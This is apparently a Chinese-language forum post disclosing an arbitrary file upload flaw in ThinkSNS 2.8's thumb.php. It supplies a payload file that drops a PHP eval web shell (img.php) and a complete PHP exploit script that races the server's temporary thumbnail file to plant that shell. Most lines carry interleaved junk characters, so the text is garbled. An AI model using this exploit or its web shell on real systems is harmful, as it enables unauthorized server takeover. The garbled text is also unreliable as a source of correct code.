漏洞版本
' S, E8 |% b; r存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)5 `4 e& W6 D0 B. Z" Q; B P
漏洞文件
( Z% T7 s4 {' y( x存在漏洞的文件为:thumb.php
( Q0 F% x$ Y2 I+ d4 t2 E- \$ R作者:韦鲲鹏# ?) X2 p5 E$ D( l. d3 T( ?/ j
1、 准备如下PHP文件并上传到服务器(自己的)。9 }) H; M! |' a6 e7 s3 U
文件内容如下:+ B& v: Q3 }1 B( k7 t4 o. B2 E+ `* {
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
9 f* G6 q/ x8 Z; w2、 计算出临时的文件名:" q. }2 l7 R m7 N$ U- l8 a5 N
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
" T7 _3 V0 y- p+ U, i7 |
7 |) ~7 A( B- S" i* b3、 上传临时文件。* @% x% l7 j0 |! S" I! `+ X) y
4、 访问临时文件。+ I- ]" G6 A, s0 [; C) h
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)6 Z" A" x1 b" f1 ?
Exploit文件内容如下:(这个我就不详细解释了)
2 u# T! e, k- g' t5 ], f3 M<?php
5 f y7 y" h0 p4 V+ herror_reporting(0);
) m7 n" E4 ^. z! K& J) Qset_time_limit(0);
9 [ ~2 q; u! a0 q! [! Z: m! W" }ini_set(“default_socket_timeout”, 5);
1 E! n6 ~1 M9 D1 |3 u5 w0 Nfunction http_send($host, $port, $headers) {
$ Z6 Y% | I( G* N+ C K0 y$fp = fsockopen($host, $port);
( G+ [; V2 {$ T& E c$ V' R9 O# Mif (!$fp) die(‘Connection -> fail’);
6 b; X2 @# R' H5 l# K) x @fputs($fp, $headers);+ A. ?9 ?3 L: z/ t
return $fp;. u$ q6 L3 t6 S3 C# T7 Z4 E
}
# r p! q, j& P2 T$ f& {. n9 lfunction http_recv($fp) {0 M6 e! B( H9 @) s1 ]7 R
$ret=”";
# B0 @! b- \; x6 V( A& @8 twhile (!feof($fp))
; {1 b" }/ N/ x( c( F$ret.= fgets($fp, 1024);6 m3 {1 g0 d0 ~
fclose($fp);
" o+ F! {% O- f4 lreturn $ret;
1 ^, _- d- ]8 X5 u l' `' G}
' e2 s2 t7 W2 F G xprint “\n# ThinkSns Arbitrary File Upload #\n”;
9 E: C& h! _" v, e3 \print “# Discovered by 韦鲲鹏 #\n\n”;
7 c$ y( ~& r6 n, }: hif ($argc < 4) {
/ K# }$ f6 y$ N. k, ], j) Q- t" `print “Usage: php <host> <path> <romote_url>\n”;8 c7 C( _4 ?5 f
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;+ A: \' @3 F8 o+ r O! F/ P' B4 `
die();
: Z7 E( H+ K! o% `8 J& n% @}
. L: O2 h' o# e8 a, u$host = $argv[1];. [. W: W' I) o7 Z' z% ]
$path = $argv[2];! ?7 Y6 G; r5 j9 M9 W7 U5 m
$url = $argv[3];
: Q" A" P* m N% Q7 e9 O$i=0;
9 ]) F7 e3 {/ E% n//上传数据包
" j; w. R+ {* L$ }; n4 ^$ z6 L$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
9 A7 H; X$ M1 k2 h+ _$headers_up .= “Host: “.$host.”\r\n”;
# y: V- t* t2 x6 i: ?' ]$headers_up .= “Connection: close\r\n\r\n”;8 P _# Q! V p
echo $headers_up;
4 Q. c: X0 M$ H//临时文件访问数据包
; ~1 b( i9 ~3 |! C6 R# r$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;5 B7 U* u# N. F" U; |$ ~ ]6 U
$headers .= “Host: “.$host.”\r\n”;
0 D0 r5 B6 }5 c0 W" ^9 j% p% l& z3 ~* h$headers .= “Connection: close\r\n\r\n”;* y: m( ?* F- M: e, R. }6 G
echo $headers;( W) Z2 o+ x9 E% u& M% G
while(++$i<10) {/ C! z$ W: V( l7 w6 w; R
fclose(http_send($host, 80, $headers));/ G! H" X; f9 T8 p' l
}- \7 L5 J6 S+ S7 S2 I: ~0 L) h0 z/ M
fclose(http_send($host, 80, $headers_up));
2 [0 D8 e* J/ T5 bwhile(++$i<50) {. {" v V5 N. b5 ]. s
fclose(http_send($host, 80, $headers));- k+ O' Y" p: R; b$ j7 X
} g+ v: g" F! t8 x; U$ s
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
6 J8 S) K- d: _3 b0 V. Z) }$headers .= “Host: “.$host.”\r\n”;0 E1 ?3 H3 s* Q
$headers .= “Connection: close\r\n\r\n”;) V1 V/ ~- A: m( b! P' |0 y1 |
$res=http_recv(http_send($host, 80, $headers));
9 ^/ t1 I* L' l- Hif(preg_match(‘/200 OK/’,$res)) {/ s: ~! e% o( E/ C0 U0 L+ ?
print “Success!\n\n”;5 v4 z/ K/ q1 a9 E* _
} else {1 Z' r# t( m4 M+ S, l
print “Fail!\n\n”;
$ _8 H u" R: D+ L3 z- r}
: h4 {3 O/ _( k( m" y2 B?>$ D/ Q) f9 D/ G; H3 x. x+ H
|